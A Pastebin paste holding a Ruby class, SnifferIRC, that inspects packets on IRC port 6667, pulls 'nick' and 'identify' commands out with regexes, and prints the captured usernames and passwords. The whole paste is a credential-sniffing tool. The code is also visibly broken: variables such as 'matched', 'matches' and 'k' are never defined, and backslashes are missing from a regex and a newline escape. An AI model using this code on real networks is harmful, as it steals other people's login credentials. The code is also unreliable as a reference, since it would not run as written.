Guest User

Untitled

a guest
Jan 27th, 2018
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.02 KB | None | 0 0
  1. class SnifferIRC < BaseProtocolParser
  2.     #-- function 1
  3.     def register_sigs
  4.         self.sigs = {
  5.             :user       => /^(nick\s+[^\n]+)/si,
  6.             :password   => /b(identify\s+[^\n]+)/si,
  7.         }
  8.     end
  9.  
  10.     #-- function 2
  11.     def parse(pkt)
  12.         return if not pkt[:tcp]
  13.         return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667)
  14.  
  15.         # if package is comming from server
  16.         if(pkt[:tcp].src_port == 6667)
  17.             s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")
  18.         # if package is sent to server
  19.         else
  20.             s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")
  21.         end
  22.    
  23.         case matched
  24.             when :user
  25.                 s[:user] = matches
  26.                 puts "Welcome #{s[:user]}"
  27.             when :password
  28.                 s[:password] = matches
  29.             if ( s[:user] and s[:password])
  30.                 print "-> IRC login sniffed: #{s[:session]} >> user: #{s[:user]} password: #{s[:password]}n"
  31.             end
  32.             sessions.delete(s[:session])
  33.             when nil
  34.                 sessions[s[:session]].merge!({k => matches})
  35.         end
  36.     end
  37. end
Add Comment
Please, Sign In to add comment